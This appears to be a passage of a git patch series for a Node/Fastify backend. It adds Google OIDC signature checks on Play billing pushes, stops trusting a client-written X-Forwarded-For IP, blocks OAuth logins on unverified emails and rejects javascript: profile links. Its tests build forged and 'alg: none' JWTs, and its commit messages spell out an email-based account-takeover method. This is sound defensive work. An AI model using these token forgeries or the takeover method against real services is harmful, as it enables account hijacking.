From 40f0e215b188bde9d5454ce3180663a21f942847 Mon Sep 17 00:00:00 2001 From: unknown Date: Sun, 6 Sep 2026 16:32:36 +0300 Subject: [PATCH 1/2] fix: verify Play pushes with Google's own signature, and stop trusting a client-written IP Two of the "known but not fixed" items from the review, neither of which needed anything from Google or from Play Console. The Play notification endpoint now prefers the OIDC identity token Pub/Sub signs its pushes with: the signature is checked against Google's published keys, and the audience and the service account it is signed as must both match. The shared secret stays as a fallback for a subscription created without OIDC, and is still weaker for the reason it always was - a query string is written into this service's access logs and every proxy's. With neither configured the endpoint stays closed. `request.ip` is the left-hand end of a client-written X-Forwarded-For while the app runs trustProxy: true, so the address a session recorded as its device was whatever the caller typed. The rate limiter already reads the edge address; the same helper now serves the refresh-token rows, and lives in one place rather than inside the rate-limit plugin. Replacing trustProxy: true with a hop count or the edge's CIDR is still the proper fix and still needs the deployment's exact shape; this closes the two places where the difference is exploitable rather than cosmetic. --- .env.example | 6 +- docs/verified-badge.md | 23 +- render.yaml | 4 + src/http/controllers/auth.controller.ts | 7 +- src/http/controllers/oauth.controller.ts | 3 +- .../controllers/play-billing.controller.ts | 42 +++- src/http/plugins/di/external.di.ts | 14 ++ src/http/plugins/rate-limit.plugin.ts | 32 +-- src/http/plugins/shared/client-ip.ts | 33 +++ src/http/types/schemas/env.schema.ts | 7 + .../billing/play/google-oidc-verifier.ts | 226 ++++++++++++++++++ .../billing/google-oidc-verifier.test.ts | 175 ++++++++++++++ 12 files changed, 525 insertions(+), 47 deletions(-) create mode 100644 src/http/plugins/shared/client-ip.ts create mode 100644 src/infrastructure/external/billing/play/google-oidc-verifier.ts create mode 100644 tests/unit/infrastructure/billing/google-oidc-verifier.test.ts diff --git a/.env.example b/.env.example index a81de9a..4bda5db 100644 --- a/.env.example +++ b/.env.example @@ -188,7 +188,11 @@ DEVICE_PURGE_CRON=0 6 * * * SUBSCRIPTION_RECONCILE_CRON=0 3 * * * SUBSCRIPTION_RECONCILE_BATCH_SIZE=500 -# Shared secret Pub/Sub appends to the Play notification push URL. Empty keeps +# How a Play notification proves it came from Google. Set both and the shared +# secret below stops being consulted. +PLAY_OIDC_AUDIENCE= +PLAY_OIDC_SERVICE_ACCOUNT= +# Fallback: shared secret Pub/Sub appends to the Play notification push URL. Empty keeps # that endpoint closed - it writes billing state and carries no session. PLAY_NOTIFICATIONS_TOKEN= diff --git a/docs/verified-badge.md b/docs/verified-badge.md index 47d4bec..f636aa0 100644 --- a/docs/verified-badge.md +++ b/docs/verified-badge.md @@ -139,10 +139,19 @@ nothing would ever connect that token to that account again; the nightly reconcile finishes it. **`POST /api/v1/billing/play/notifications`** — where Pub/Sub pushes Google's -notifications. No session, guarded by a shared secret on the URL -(`?token=…`, `PLAY_NOTIFICATIONS_TOKEN`). **Empty means the endpoint is -closed**, which is the right default for an unauthenticated route that writes -billing state. +notifications. No session, so it is guarded two ways and the better one wins: + +- **OIDC** (`PLAY_OIDC_AUDIENCE` + `PLAY_OIDC_SERVICE_ACCOUNT`). Pub/Sub signs + the push with a Google identity token; the signature is checked against + Google's published keys, and both the audience and the service account it is + signed as must match. Configure this on the push subscription and here, and + it is the only thing consulted. +- **A shared secret on the URL** (`?token=…`, `PLAY_NOTIFICATIONS_TOKEN`), for + a subscription created without OIDC. Weaker, and knowingly so: a query string + is written into this service's access logs and into every proxy's. + +**With neither configured the endpoint is closed**, which is the right default +for an unauthenticated route that writes billing state. The notification is treated as a **nudge, never as state**. It says a purchase changed; what it changed to is then read from the Play Developer API, and that @@ -170,8 +179,6 @@ badge is granted. It needs the Play Console work: a subscription product, a service account with "View financial data" and "Manage orders and subscriptions", and the Pub/Sub topic. -Verifying the OIDC token Google can attach to a push is the stronger -alternative to the shared secret, and belongs with that same work. ## Settings @@ -179,7 +186,9 @@ alternative to the shared secret, and belongs with that same work. | --- | --- | --- | | `SUBSCRIPTION_RECONCILE_CRON` | `0 3 * * *` | When the repair pass runs. | | `SUBSCRIPTION_RECONCILE_BATCH_SIZE` | `500` | Rows examined per pass. | -| `PLAY_NOTIFICATIONS_TOKEN` | _(empty)_ | Shared secret on the push URL. Empty closes the endpoint. | +| `PLAY_OIDC_AUDIENCE` | _(empty)_ | Audience set on the Pub/Sub push subscription. | +| `PLAY_OIDC_SERVICE_ACCOUNT` | _(empty)_ | Service account Pub/Sub signs the push as. | +| `PLAY_NOTIFICATIONS_TOKEN` | _(empty)_ | Fallback shared secret on the push URL, used only when OIDC is unconfigured. | There is no provider yet. `NoopBillingService` stands in, and it deliberately never reports a subscription as active — a stub that granted entitlements would diff --git a/render.yaml b/render.yaml index 9195939..70041d7 100644 --- a/render.yaml +++ b/render.yaml @@ -193,6 +193,10 @@ projects: # Shared secret on the Play notification push URL. Empty keeps that # endpoint closed, which is the right default for an unauthenticated # route that writes billing state. + - key: PLAY_OIDC_AUDIENCE + sync: false + - key: PLAY_OIDC_SERVICE_ACCOUNT + sync: false - key: PLAY_NOTIFICATIONS_TOKEN sync: false # The paid verification badge. Both have defaults; they are declared diff --git a/src/http/controllers/auth.controller.ts b/src/http/controllers/auth.controller.ts index 5a4820a..40aa404 100644 --- a/src/http/controllers/auth.controller.ts +++ b/src/http/controllers/auth.controller.ts @@ -1,4 +1,5 @@ import { UnauthorizedError } from "@core/errors"; +import { clientIp } from "@plugins/shared/client-ip"; import type { ForgotPasswordUseCase } from "@core/use-cases/auth/forgot-password"; import type { LoginUseCase } from "@core/use-cases/auth/login"; import type { LogoutUseCase } from "@core/use-cases/auth/logout"; @@ -63,7 +64,7 @@ export class AuthController extends BaseAuthController { const response = await this.loginUseCase.execute({ identifier: request.body.identifier, password: request.body.password, - deviceIp: request.ip, + deviceIp: clientIp(request), userAgent: request.headers["user-agent"] ?? "Unknown Device", }); @@ -101,7 +102,7 @@ export class AuthController extends BaseAuthController { const response = await this.refreshUseCase.execute({ token, - deviceIp: request.ip, + deviceIp: clientIp(request), userAgent: request.headers["user-agent"] ?? "Unknown Device", }); @@ -200,7 +201,7 @@ export class AuthController extends BaseAuthController { ): Promise { const response = await this.recoverAccountUseCase.execute({ recoveryToken: request.body.recoveryToken, - deviceIp: request.ip, + deviceIp: clientIp(request), userAgent: request.headers["user-agent"] ?? "Unknown Device", }); diff --git a/src/http/controllers/oauth.controller.ts b/src/http/controllers/oauth.controller.ts index 6a8e12e..88202a3 100644 --- a/src/http/controllers/oauth.controller.ts +++ b/src/http/controllers/oauth.controller.ts @@ -1,4 +1,5 @@ import { BaseAuthController } from "./base-auth.controller"; +import { clientIp } from "@plugins/shared/client-ip"; import type { FastifyInstance, FastifyReply, FastifyRequest } from "fastify"; import { AccountPendingDeletionError } from "@core/errors"; import type { GithubAuthPort } from "@core/ports/services/github-auth.port"; @@ -136,7 +137,7 @@ export class OAuthController extends BaseAuthController { ): Promise { const response = await this.oauthExchangeUseCase.execute({ code: request.body.code, - deviceIp: request.ip, + deviceIp: clientIp(request), userAgent: request.headers["user-agent"] ?? "Unknown Device", }); diff --git a/src/http/controllers/play-billing.controller.ts b/src/http/controllers/play-billing.controller.ts index 603fe12..484a09d 100644 --- a/src/http/controllers/play-billing.controller.ts +++ b/src/http/controllers/play-billing.controller.ts @@ -3,6 +3,7 @@ import { UnauthorizedError } from "@core/errors"; import { timingSafeEqual } from "node:crypto"; import type { RegisterPlayPurchaseUseCase } from "@core/use-cases/billing/register-play-purchase"; import type { PlayNotificationService } from "@infrastructure/external/billing/play/play-notification.service"; +import type { GoogleOidcVerifier } from "@infrastructure/external/billing/play/google-oidc-verifier"; import type { PlayNotificationQuery, RegisterPlayPurchaseBody, @@ -48,11 +49,13 @@ export class PlayBillingController { * * @param registerPlayPurchaseUseCase - Attaches a purchase to an account * @param playNotificationService - Handles what Google pushes + * @param googleOidcVerifier - Proves a push really came from Google * @param config - Environment configuration, for the push secret */ constructor( private readonly registerPlayPurchaseUseCase: RegisterPlayPurchaseUseCase, private readonly playNotificationService: PlayNotificationService, + private readonly googleOidcVerifier: GoogleOidcVerifier, private readonly config: FastifyInstance["config"], ) {} @@ -100,12 +103,7 @@ export class PlayBillingController { request: FastifyRequest<{ Querystring: PlayNotificationQuery }>, reply: FastifyReply, ): Promise { - const expected = this.config.PLAY_NOTIFICATIONS_TOKEN; - - // No secret configured means the endpoint is not wired up yet. Closed - // rather than open: an unauthenticated endpoint that writes billing - // state is not something to leave ajar by default. - if (!expected || !matchesSecret(request.query.token, expected)) { + if (!(await this.callerIsGoogle(request))) { throw new UnauthorizedError(); } @@ -118,4 +116,36 @@ export class PlayBillingController { reply.status(204).send(); } + + /** + * Decides whether a push really came from Google. + * + * Two mechanisms, and the better one wins where it is available. A signed + * identity token proves the caller; a shared secret in the query string + * only proves they have read something that ends up in access logs - ours + * and every proxy's. The secret stays because a Pub/Sub subscription can + * be created without OIDC, and a deployment part-way through being wired + * up should not silently start accepting anything. + * + * With neither configured the endpoint is closed, which is the right + * default for an unauthenticated route that writes billing state. + * + * @param request - The push request + * @returns True when the caller is accepted + */ + private async callerIsGoogle( + request: FastifyRequest<{ Querystring: PlayNotificationQuery }>, + ): Promise { + if (this.googleOidcVerifier.isConfigured) { + return this.googleOidcVerifier.verify( + request.headers.authorization, + ); + } + + const expected = this.config.PLAY_NOTIFICATIONS_TOKEN; + + return ( + Boolean(expected) && matchesSecret(request.query.token, expected) + ); + } } diff --git a/src/http/plugins/di/external.di.ts b/src/http/plugins/di/external.di.ts index 91d5c07..f203645 100644 --- a/src/http/plugins/di/external.di.ts +++ b/src/http/plugins/di/external.di.ts @@ -6,6 +6,7 @@ import { } from "@infrastructure/external/push/expo-push.service"; import { NoopBillingService } from "@infrastructure/external/billing/noop-billing.service"; import { PlayNotificationService } from "@infrastructure/external/billing/play/play-notification.service"; +import { GoogleOidcVerifier } from "@infrastructure/external/billing/play/google-oidc-verifier"; import { GithubAuthService } from "@infrastructure/external/github-auth.service"; import { GoogleAuthService } from "@infrastructure/external/google-auth.service"; import { S3StorageService } from "@infrastructure/external/s3-storage.service"; @@ -45,6 +46,19 @@ export const externalModule = { */ playNotificationService: asClass(PlayNotificationService).singleton(), + /** + * Proves a Play notification came from Google rather than from somebody + * who read a log line. Unconfigured, the endpoint falls back to the + * shared secret on the push URL. + */ + googleOidcVerifier: asFunction( + (config) => + new GoogleOidcVerifier({ + audience: config.PLAY_OIDC_AUDIENCE, + serviceAccountEmail: config.PLAY_OIDC_SERVICE_ACCOUNT, + }), + ).singleton(), + emailService: asFunction((config, logger) => { return new EmailService( { diff --git a/src/http/plugins/rate-limit.plugin.ts b/src/http/plugins/rate-limit.plugin.ts index 3337073..4021143 100644 --- a/src/http/plugins/rate-limit.plugin.ts +++ b/src/http/plugins/rate-limit.plugin.ts @@ -2,6 +2,7 @@ import fastifyPlugin from "fastify-plugin"; import fastifyRateLimit from "@fastify/rate-limit"; import type { FastifyInstance, FastifyRequest } from "fastify"; import { TooManyRequestsError } from "@core/errors"; +import { clientIp } from "@plugins/shared/client-ip"; import { createHash } from "node:crypto"; /** @@ -28,32 +29,6 @@ import { createHash } from "node:crypto"; * - `timeWindow`: Time window for rate limiting ("1 minute") */ // jsdoc -/** - * The caller's address, as far as it can be trusted. - * - * `request.ip` is not good enough for the policies that stop brute force. The - * app runs with `trustProxy: true`, which tells Fastify to believe the whole - * `X-Forwarded-For` chain - and the left-hand end of that chain is written by - * the client. A caller can therefore change `request.ip` on every request and - * be handed a fresh bucket each time, which is the entire protection gone. - * - * `CF-Connecting-IP` is not spoofable in the same way: Cloudflare overwrites - * it at the edge, and the deployment has no route that bypasses the edge - the - * Render subdomain is disabled, so the custom domain is the only way in. Where - * that header is absent (local development, tests) there is no proxy to lie - * through either, and `request.ip` is the real peer. - * - * @param request - The incoming request - * @returns The address to count this request against - */ -function untrustedClientIp(request: FastifyRequest): string { - const edgeIp = request.headers["cf-connecting-ip"]; - - if (typeof edgeIp === "string" && edgeIp.length > 0) return edgeIp; - - return request.ip; -} - export const RateLimitPolicies = { STRICT: { max: 3, @@ -66,8 +41,7 @@ export const RateLimitPolicies = { // account it holds, turning three attempts per quarter hour into three // times however many accounts it can collect. Keeping registration // itself on this key is what bounds that collection. - keyGenerator: (request: FastifyRequest): string => - untrustedClientIp(request), + keyGenerator: (request: FastifyRequest): string => clientIp(request), }, SENSITIVE: { max: 5, @@ -136,7 +110,7 @@ export function rateLimitKeyFor( } } - return untrustedClientIp(request); + return clientIp(request); } function rateLimitPlugin(fastify: FastifyInstance): void { diff --git a/src/http/plugins/shared/client-ip.ts b/src/http/plugins/shared/client-ip.ts new file mode 100644 index 0000000..9e7bba1 --- /dev/null +++ b/src/http/plugins/shared/client-ip.ts @@ -0,0 +1,33 @@ +import type { FastifyRequest } from "fastify"; + +/** + * The caller's address, as far as it can be trusted. + * + * `request.ip` is not it. The app runs with `trustProxy: true`, which tells + * Fastify to believe the whole `X-Forwarded-For` chain - and the left-hand end + * of that chain is written by the client. Anything that keys or records an + * address from `request.ip` is therefore recording whatever the caller felt + * like sending. + * + * `CF-Connecting-IP` is not spoofable the same way: Cloudflare overwrites it at + * the edge, and this deployment has no route around the edge - the Render + * subdomain is disabled, so the custom domain is the only way in. Where the + * header is absent (local development, tests, a direct peer) there is no proxy + * to lie through either, and `request.ip` is the real peer. + * + * The proper fix is to replace `trustProxy: true` with the actual hop count or + * the edge's CIDR ranges. That takes knowing the deployment's exact shape; + * this does not, and closes the same hole for the two things that matter - + * what brute-force protection counts, and what a session records about the + * device that opened it. + * + * @param request - The incoming request + * @returns The address to attribute this request to + */ +export function clientIp(request: FastifyRequest): string { + const edgeIp = request.headers["cf-connecting-ip"]; + + if (typeof edgeIp === "string" && edgeIp.length > 0) return edgeIp; + + return request.ip; +} diff --git a/src/http/types/schemas/env.schema.ts b/src/http/types/schemas/env.schema.ts index d119b8c..b808e94 100644 --- a/src/http/types/schemas/env.schema.ts +++ b/src/http/types/schemas/env.schema.ts @@ -272,6 +272,13 @@ export const EnvSchema = Type.Object({ minimum: 1, }), + // How a Play notification proves it came from Google. The OIDC pair is the + // real mechanism: Pub/Sub signs the push with a Google identity token, and + // both the audience and the service account it is signed as are checked. + // Set them on the push subscription and here, and the shared secret below + // stops being consulted. + PLAY_OIDC_AUDIENCE: Type.String({ default: "" }), + PLAY_OIDC_SERVICE_ACCOUNT: Type.String({ default: "" }), // Shared secret Pub/Sub appends to the Play notification push URL. Empty // - the default - closes that endpoint entirely rather than leaving an // unauthenticated route that writes billing state open by default. diff --git a/src/infrastructure/external/billing/play/google-oidc-verifier.ts b/src/infrastructure/external/billing/play/google-oidc-verifier.ts new file mode 100644 index 0000000..51bcbf2 --- /dev/null +++ b/src/infrastructure/external/billing/play/google-oidc-verifier.ts @@ -0,0 +1,226 @@ +import { + createPublicKey, + createVerify, + type JsonWebKeyInput, + type KeyObject, +} from "node:crypto"; +import axios from "axios"; + +const CERTS_URL = "https://www.googleapis.com/oauth2/v3/certs"; + +const ISSUERS = new Set(["accounts.google.com", "https://accounts.google.com"]); + +/** How long a fetched key set is reused before it is fetched again. */ +const CACHE_TTL_MS = 60 * 60 * 1000; + +/** Tolerated clock difference between Google and this machine. */ +const CLOCK_SKEW_SECONDS = 60; + +/** + * One key from Google's published JWK set. + * + * Typed loosely on purpose: `createPublicKey` takes the JWK as it comes, and + * narrowing it here would mean restating a format Google owns. + */ +interface GoogleJwk { + kid?: string; + alg?: string; + kty?: string; + n?: string; + e?: string; +} + +interface OidcClaims { + iss?: string; + aud?: string; + exp?: number; + email?: string; + email_verified?: boolean; +} + +/** + * What the verifier was told to accept. + */ +export interface GoogleOidcConfig { + /** + * The audience configured on the Pub/Sub push subscription. + * + * Empty disables OIDC verification, which is what leaves a deployment with + * no Pub/Sub subscription falling back to the shared secret. + */ + audience: string; + + /** + * The service account Pub/Sub signs as. + * + * Checked as well as the audience: an audience alone is a string anybody + * with a Google account can mint a token for, and it is often a URL that + * is not secret. The pair is what identifies the caller. + */ + serviceAccountEmail: string; +} + +/** + * Verifies the identity token Google attaches to a Pub/Sub push. + * + * The alternative this replaces is a shared secret in the query string, which + * ends up in this service's access logs and in those of anything in front of + * it. A signed token in the `Authorization` header does not, and it proves the + * caller is Google rather than somebody who read a log line. + * + * Written against Node's own crypto rather than a JWT library: the check is a + * signature, three claims and an expiry, and Google publishes the keys as a + * JWK set that `createPublicKey` reads directly. + */ +export class GoogleOidcVerifier { + private keys: Map = new Map(); + + private fetchedAt = 0; + + /** + * @param config - The audience and service account to accept + */ + constructor(private readonly config: GoogleOidcConfig) {} + + /** + * Whether this deployment is configured to verify tokens at all. + * + * @returns True when an audience and a service account are set + */ + get isConfigured(): boolean { + return ( + this.config.audience.length > 0 && + this.config.serviceAccountEmail.length > 0 + ); + } + + /** + * Checks an `Authorization: Bearer ` header from a push request. + * + * @param authorization - The header value, if any + * @returns True when the token is a valid Google identity token for the + * configured audience and service account + */ + async verify(authorization: string | undefined): Promise { + if (!this.isConfigured) return false; + + const token = authorization?.startsWith("Bearer ") + ? authorization.slice("Bearer ".length).trim() + : null; + + if (!token) return false; + + const parts = token.split("."); + + if (parts.length !== 3) return false; + + const [rawHeader, rawPayload, rawSignature] = parts as [ + string, + string, + string, + ]; + + try { + const header = decodeSegment<{ alg?: string; kid?: string }>( + rawHeader, + ); + + // RS256 only. Accepting whatever the token names is how a token + // signed with "none", or with the public key as an HMAC secret, + // gets through. + if (header.alg !== "RS256" || !header.kid) return false; + + const jwk = await this.keyFor(header.kid); + + if (!jwk) return false; + + const verifier = createVerify("RSA-SHA256"); + verifier.update(`${rawHeader}.${rawPayload}`); + verifier.end(); + + const signatureValid = verifier.verify( + publicKeyFrom(jwk), + Buffer.from(rawSignature, "base64url"), + ); + + if (!signatureValid) return false; + + return this.claimsAccepted(decodeSegment(rawPayload)); + } catch { + // A malformed token is a rejected token; there is nothing here + // worth distinguishing for the caller. + return false; + } + } + + /** + * Checks everything about the token that is not its signature. + * + * @param claims - The decoded payload + * @returns True when the claims name the caller we expect + */ + private claimsAccepted(claims: OidcClaims): boolean { + const now = Math.floor(Date.now() / 1000); + + if (!claims.iss || !ISSUERS.has(claims.iss)) return false; + if (!claims.exp || claims.exp + CLOCK_SKEW_SECONDS < now) return false; + if (claims.aud !== this.config.audience) return false; + if (claims.email !== this.config.serviceAccountEmail) return false; + + return claims.email_verified === true; + } + + /** + * Finds the signing key, fetching Google's key set when it is stale. + * + * A key id that is not in a fresh set is refetched once: Google rotates + * keys, and a rotation that happened inside the cache window would + * otherwise reject every push until the hour was up. + * + * @param kid - The key id named in the token header + * @returns The key, or null when Google does not publish it + */ + private async keyFor(kid: string): Promise { + const stale = Date.now() - this.fetchedAt > CACHE_TTL_MS; + + if (stale || !this.keys.has(kid)) await this.refreshKeys(); + + return this.keys.get(kid) ?? null; + } + + /** + * Reads Google's published signing keys. + */ + private async refreshKeys(): Promise { + const response = await axios.get<{ keys?: GoogleJwk[] }>(CERTS_URL, { + timeout: 5000, + }); + + const keys = response.data?.keys ?? []; + + this.keys = new Map( + keys.filter((key) => key.kid).map((key) => [key.kid!, key]), + ); + this.fetchedAt = Date.now(); + } +} + +/** + * Builds a verifying key from one of Google's JWKs. + * + * @param jwk - The published key + * @returns The key object to verify with + */ +function publicKeyFrom(jwk: GoogleJwk): KeyObject { + return createPublicKey({ key: jwk, format: "jwk" } as JsonWebKeyInput); +} + +/** + * Decodes one base64url segment of a JWT. + * + * @param segment - The segment + * @returns Its parsed contents + */ +function decodeSegment(segment: string): T { + return JSON.parse(Buffer.from(segment, "base64url").toString("utf8")) as T; +} diff --git a/tests/unit/infrastructure/billing/google-oidc-verifier.test.ts b/tests/unit/infrastructure/billing/google-oidc-verifier.test.ts new file mode 100644 index 0000000..1fb64d6 --- /dev/null +++ b/tests/unit/infrastructure/billing/google-oidc-verifier.test.ts @@ -0,0 +1,175 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { generateKeyPairSync, createSign, randomUUID } from "node:crypto"; +import axios from "axios"; +import { GoogleOidcVerifier } from "@infrastructure/external/billing/play/google-oidc-verifier"; + +const AUDIENCE = "https://api.example/api/v1/billing/play/notifications"; +const SERVICE_ACCOUNT = "play-push@tdn.iam.gserviceaccount.com"; + +const { privateKey, publicKey } = generateKeyPairSync("rsa", { + modulusLength: 2048, +}); + +const KID = randomUUID(); + +/** Google's key set, as the verifier fetches it. */ +const JWKS = { + keys: [ + { + ...(publicKey.export({ format: "jwk" }) as Record), + kid: KID, + alg: "RS256", + use: "sig", + }, + ], +}; + +function base64url(value: object): string { + return Buffer.from(JSON.stringify(value)).toString("base64url"); +} + +/** + * Signs a token the way Google would, so the parts under test are the checks + * rather than the signing. + */ +function sign( + claims: Record, + header: Record = { alg: "RS256", kid: KID }, +): string { + const body = `${base64url(header)}.${base64url(claims)}`; + const signer = createSign("RSA-SHA256"); + + signer.update(body); + signer.end(); + + return `${body}.${signer.sign(privateKey).toString("base64url")}`; +} + +const validClaims = (): Record => ({ + iss: "https://accounts.google.com", + aud: AUDIENCE, + exp: Math.floor(Date.now() / 1000) + 600, + email: SERVICE_ACCOUNT, + email_verified: true, +}); + +describe("GoogleOidcVerifier", () => { + let verifier: GoogleOidcVerifier; + + beforeEach(() => { + vi.spyOn(axios, "get").mockResolvedValue({ data: JWKS }); + + verifier = new GoogleOidcVerifier({ + audience: AUDIENCE, + serviceAccountEmail: SERVICE_ACCOUNT, + }); + }); + + afterEach(() => { + vi.restoreAllMocks(); + }); + + it("should accept a token Google signed for us", async () => { + await expect( + verifier.verify(`Bearer ${sign(validClaims())}`), + ).resolves.toBe(true); + }); + + it("should refuse a token signed by somebody else", async () => { + const impostor = generateKeyPairSync("rsa", { modulusLength: 2048 }); + const body = `${base64url({ alg: "RS256", kid: KID })}.${base64url(validClaims())}`; + const signer = createSign("RSA-SHA256"); + signer.update(body); + signer.end(); + + const forged = `${body}.${signer.sign(impostor.privateKey).toString("base64url")}`; + + await expect(verifier.verify(`Bearer ${forged}`)).resolves.toBe(false); + }); + + it("should refuse an unsigned token", async () => { + // The classic: claim `alg: none` and hope the verifier believes the + // header about how to check the header. + const unsigned = `${base64url({ alg: "none", kid: KID })}.${base64url(validClaims())}.`; + + await expect(verifier.verify(`Bearer ${unsigned}`)).resolves.toBe( + false, + ); + }); + + it("should refuse a token minted for another audience", async () => { + // Anybody with a Google account can mint an identity token; the + // audience is what says it was minted for us. + await expect( + verifier.verify( + `Bearer ${sign({ ...validClaims(), aud: "https://evil.example" })}`, + ), + ).resolves.toBe(false); + }); + + it("should refuse a token from another service account", async () => { + await expect( + verifier.verify( + `Bearer ${sign({ ...validClaims(), email: "someone@else.iam.gserviceaccount.com" })}`, + ), + ).resolves.toBe(false); + }); + + it("should refuse an expired token", async () => { + await expect( + verifier.verify( + `Bearer ${sign({ ...validClaims(), exp: Math.floor(Date.now() / 1000) - 3600 })}`, + ), + ).resolves.toBe(false); + }); + + it("should refuse an issuer that is not Google", async () => { + await expect( + verifier.verify( + `Bearer ${sign({ ...validClaims(), iss: "https://evil.example" })}`, + ), + ).resolves.toBe(false); + }); + + it("should refuse an unverified email claim", async () => { + await expect( + verifier.verify( + `Bearer ${sign({ ...validClaims(), email_verified: false })}`, + ), + ).resolves.toBe(false); + }); + + it("should refuse a key id Google does not publish", async () => { + await expect( + verifier.verify( + `Bearer ${sign(validClaims(), { alg: "RS256", kid: "unknown" })}`, + ), + ).resolves.toBe(false); + }); + + it("should refuse anything that is not a bearer token", async () => { + for (const header of [undefined, "", "Basic abc", "Bearer", "Bearer x"]) { + await expect(verifier.verify(header)).resolves.toBe(false); + } + }); + + it("should verify nothing when it has not been configured", async () => { + // An unconfigured verifier must not accept a token; the endpoint falls + // back to the shared secret instead. + const unconfigured = new GoogleOidcVerifier({ + audience: "", + serviceAccountEmail: "", + }); + + await expect( + unconfigured.verify(`Bearer ${sign(validClaims())}`), + ).resolves.toBe(false); + }); + + it("should reuse the fetched key set", async () => { + await verifier.verify(`Bearer ${sign(validClaims())}`); + await verifier.verify(`Bearer ${sign(validClaims())}`); + + expect(axios.get).toHaveBeenCalledTimes(1); + }); +}); From 07eefbe791721ef5e54e4734f4a6c0d1cfb54e6b Mon Sep 17 00:00:00 2001 From: unknown Date: Sun, 6 Sep 2026 16:47:32 +0300 Subject: [PATCH 2/2] fix(oauth): refuse a login on an address the provider has not verified Found by the audit of the pre-existing codebase. An OAuth login matches an existing account by email alone - it never looked at whether the provider had verified that address, and never at which provider identity had been bound to the account before. GitHub returns the flag and it was read and then ignored; Google was worse, never fetching `verified_email` and hardcoding `isEmailVerified: true` onto the account it created. So registering at the provider with somebody else's address, authorising, and exchanging the code returns their session. No password, no mailbox access, no action from them. Both flows now refuse an unverified address before the account is even looked up, and Google reads the flag rather than assuming it. Binding the login to `(provider, providerAccountId)` is the stronger shape and is left for its own change; the verification check is what closes the hole. Also from the audit: profile `socials` accepted any URI scheme - `format: "uri"` asks for a scheme and nothing more, so `javascript:` passed - and a profile is public, which made it stored XSS in whichever client renders the value as a link. Links are now checked for http/https, keys constrained to platform names, and both count and length capped. Two smaller ones: the profile controller's last identity-after-spread is reordered (not exploitable today - the schema and AJV both stop it - but the use case authorises on that field), and three profile routes that verified a JWT inline now use `optionalAuthenticate`, so a suspended account stops being treated as signed in there the way it does everywhere else. --- src/core/ports/services/google-auth.port.ts | 9 +++ .../oauth-github/github-login.usecase.ts | 12 +++ .../oauth-google/google.login.usecase.ts | 14 +++- .../update-profil/update-profile.usecase.ts | 3 + .../use-cases/shared/profile/social-links.ts | 71 +++++++++++++++++ src/http/controllers/profile.controller.ts | 7 +- src/http/routes/profile/profile.routes.ts | 30 ++++---- .../external/google-auth.service.ts | 5 ++ .../oauth/github-login.usecase.test.ts | 16 ++++ .../oauth/google-login.usecase.test.ts | 19 ++++- .../shared/profile/social-links.test.ts | 76 +++++++++++++++++++ 11 files changed, 243 insertions(+), 19 deletions(-) create mode 100644 src/core/use-cases/shared/profile/social-links.ts create mode 100644 tests/unit/core/use-cases/shared/profile/social-links.test.ts diff --git a/src/core/ports/services/google-auth.port.ts b/src/core/ports/services/google-auth.port.ts index 1bc00c7..fd1c54d 100644 --- a/src/core/ports/services/google-auth.port.ts +++ b/src/core/ports/services/google-auth.port.ts @@ -10,6 +10,15 @@ export interface GoogleProfile { /** The derived username based on the user's Google email address. */ username: string; + + /** + * Whether Google says it has verified this address. + * + * Read rather than assumed. An OAuth login matches an existing account by + * email, so an unverified address is a way to walk into somebody else's + * account by claiming to own their mailbox. + */ + isEmailVerified: boolean; } /** diff --git a/src/core/use-cases/oauth/oauth-github/github-login.usecase.ts b/src/core/use-cases/oauth/oauth-github/github-login.usecase.ts index 21e44ae..7faebc4 100644 --- a/src/core/use-cases/oauth/oauth-github/github-login.usecase.ts +++ b/src/core/use-cases/oauth/oauth-github/github-login.usecase.ts @@ -1,4 +1,5 @@ import type { GithubLoginInput } from "./github-login.input"; +import { UnauthorizedError } from "@core/errors"; import type { GithubAuthPort } from "@core/ports/services/github-auth.port"; import type { IUserRepository } from "@core/ports/repositories/user.repository"; import type { AuthTokenPort } from "@core/ports/services/auth-token.port"; @@ -23,6 +24,17 @@ export class GithubLoginUseCase { input.code, ); + // Refused before the account is even looked up. This flow matches an + // existing account by email alone, so an address the provider has not + // verified is a way to walk into somebody else's account by claiming + // to own their mailbox - sign up at the provider with their address, + // authorise, and be handed their session. + if (!profile.isEmailVerified) { + throw new UnauthorizedError( + "GitHub has not verified this email address.", + ); + } + let user = await this.userRepository.findByEmail(profile.email); if (user) { diff --git a/src/core/use-cases/oauth/oauth-google/google.login.usecase.ts b/src/core/use-cases/oauth/oauth-google/google.login.usecase.ts index cd2bf6b..9a50c1c 100644 --- a/src/core/use-cases/oauth/oauth-google/google.login.usecase.ts +++ b/src/core/use-cases/oauth/oauth-google/google.login.usecase.ts @@ -1,4 +1,5 @@ import type { GoogleAuthPort } from "@core/ports/services/google-auth.port"; +import { UnauthorizedError } from "@core/errors"; import type { IUserRepository } from "@core/ports/repositories/user.repository"; import type { AuthTokenPort } from "@core/ports/services/auth-token.port"; import { AccountBannedError, AccountPendingDeletionError } from "@core/errors"; @@ -23,6 +24,17 @@ export class GoogleLoginUseCase { input.code, ); + // Refused before the account is even looked up. This flow matches an + // existing account by email alone, so an address the provider has not + // verified is a way to walk into somebody else's account by claiming + // to own their mailbox - sign up at the provider with their address, + // authorise, and be handed their session. + if (!profile.isEmailVerified) { + throw new UnauthorizedError( + "Google has not verified this email address.", + ); + } + let user = await this.userRepository.findByEmail(profile.email); if (user) { @@ -53,7 +65,7 @@ export class GoogleLoginUseCase { username: finalUsername, provider: "google", providerAccountId: profile.providerAccountId, - isEmailVerified: true, + isEmailVerified: profile.isEmailVerified, }); } diff --git a/src/core/use-cases/profile/update-profil/update-profile.usecase.ts b/src/core/use-cases/profile/update-profil/update-profile.usecase.ts index feb4ba6..fed6e2c 100644 --- a/src/core/use-cases/profile/update-profil/update-profile.usecase.ts +++ b/src/core/use-cases/profile/update-profil/update-profile.usecase.ts @@ -1,4 +1,5 @@ import { ForbiddenError } from "@core/errors"; +import { assertSafeSocialLinks } from "@core/use-cases/shared/profile/social-links"; import type { IProfileRepository } from "@core/ports/repositories/profile.repository"; import type { IUserRepository } from "@core/ports/repositories/user.repository"; import type { UpdateProfileInput } from "./update-profile-usecase.input"; @@ -38,6 +39,8 @@ export class UpdateProfileUseCase { * @throws {ForbiddenError} When a non-bot account tries to set categories. */ async execute(input: UpdateProfileInput): Promise { + assertSafeSocialLinks(input.socials); + if (input.categories !== undefined) { const user = await this.userRepository.findById(input.userId); diff --git a/src/core/use-cases/shared/profile/social-links.ts b/src/core/use-cases/shared/profile/social-links.ts new file mode 100644 index 